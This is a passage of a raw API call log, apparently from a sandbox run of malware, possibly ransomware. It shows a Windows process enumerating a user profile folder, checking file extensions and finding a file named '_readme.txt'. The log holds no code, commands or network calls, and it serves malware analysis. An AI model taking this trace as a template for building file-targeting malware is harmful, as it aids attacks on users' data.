ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0124.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e218 [0124.986] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned=".blf" [0124.986] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0124.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100) returned 0x3098bf8 [0124.986] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned=".regtrans-ms" [0124.986] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0124.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100) returned 0x3098bf8 [0124.986] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned=".regtrans-ms" [0124.986] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cd94e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0124.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0124.986] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini") returned=".ini" [0124.986] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x527a4cf0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x527a4cf0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0124.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f760 [0124.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f810 [0124.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x214) returned 0x30950c0 [0124.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f8c0 [0124.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0124.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f340 [0124.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f3f0 [0124.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f4a0 [0124.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0124.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0124.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3074f40 [0124.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f4f8 [0124.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075148 [0124.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f1e0 [0124.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x30751b0 [0124.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f708 [0124.987] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0124.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f760 [0124.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x76) returned 0x6ad610 [0124.987] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0124.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f760 [0124.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f810 [0124.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f7b8 [0124.987] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0124.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0124.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x30750e0 [0124.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075078 [0124.987] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0124.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f760 [0124.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f810 [0124.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0124.987] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0124.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f760 [0124.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f810 [0124.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f448 [0124.987] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0124.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0124.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x30750e0 [0124.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x310) returned 0x30557d8 [0124.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f760 [0124.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075010 [0124.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f810 [0124.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f868 [0124.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f238 [0124.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3074fa8 [0124.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075218 [0124.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075280 [0124.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f398 [0124.988] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x30752e8 [0124.988] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f6b0 [0124.988] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075350 [0124.988] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f658 [0124.988] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f600 [0124.988] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x30753b8 [0124.988] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f5a8 [0124.988] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075420 [0124.988] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f550 [0124.988] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f188 [0124.988] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0124.988] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f448 [0124.988] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x76) returned 0x6ad610 [0124.988] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x526c04b0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x526c04b0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0124.988] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f448 [0124.988] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0124.988] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f7b8 [0124.988] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97c4c3d0, ftCreationTime.dwHighDateTime=0x1d52f22, ftLastAccessTime.dwLowDateTime=0x97c4c3d0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x97c4c3d0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0124.988] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.988] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0124.988] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned=".txt" [0124.988] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97c4c3d0, ftCreationTime.dwHighDateTime=0x1d52f22, ftLastAccessTime.dwLowDateTime=0x97c4c3d0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x97c4c3d0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0124.988] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.988] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.988] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0124.988] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.988] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038040 [0124.988] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038040 | out: hHeap=0x5c0000) returned 1 [0124.989] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038040 [0124.989] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038040 | out: hHeap=0x5c0000) returned 1 [0124.989] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038040 [0124.989] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038040 | out: hHeap=0x5c0000) returned 1 [0124.989] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038040 [0124.989] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038040 | out: hHeap=0x5c0000) returned 1 [0124.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0124.989] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.989] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0124.989] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.989] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038040 [0124.989] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038040 | out: hHeap=0x5c0000) returned 1 [0124.989] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038040 [0124.989] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038040 | out: hHeap=0x5c0000) returned 1 [0124.989] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038040 [0124.989] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038040 | out: hHeap=0x5c0000) returned 1 [0124.989] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038040 [0124.989] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038040 | out: hHeap=0x5c0000) returned 1 [0124.990] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038040 [0124.990] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038040 | out: hHeap=0x5c0000) returned 1 [0124.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0124.990] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.990] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0124.990] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.990] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038040 [0124.990] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038040 | out: hHeap=0x5c0000) returned 1 [0124.990] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038040 [0124.990] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038040 | out: hHeap=0x5c0000) returned 1 [0124.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0124.990] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.990] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0124.990] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.990] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038040 [0124.990] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038040 | out: hHeap=0x5c0000) returned 1 [0124.990] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038040 [0124.990] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038040 | out: hHeap=0x5c0000) returned 1 [0124.990] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038040 [0124.990] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038040 | out: hHeap=0x5c0000) returned 1 [0124.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0124.991] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076ee0 | out: hHeap=0x5c0000) returned 1 [0124.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083260 | out: hHeap=0x5c0000) returned 1 [0124.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083238 | out: hHeap=0x5c0000) returned 1 [0124.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083210 | out: hHeap=0x5c0000) returned 1 [0124.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30831e8 | out: hHeap=0x5c0000) returned 1 [0124.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30831c0 | out: hHeap=0x5c0000) returned 1 [0124.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083198 | out: hHeap=0x5c0000) returned 1 [0124.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083170 | out: hHeap=0x5c0000) returned 1 [0124.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083148 | out: hHeap=0x5c0000) returned 1 [0124.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083120 | out: hHeap=0x5c0000) returned 1 [0124.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3082f40 | out: hHeap=0x5c0000) returned 1 [0124.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3082f68 | out: hHeap=0x5c0000) returned 1 [0124.991] 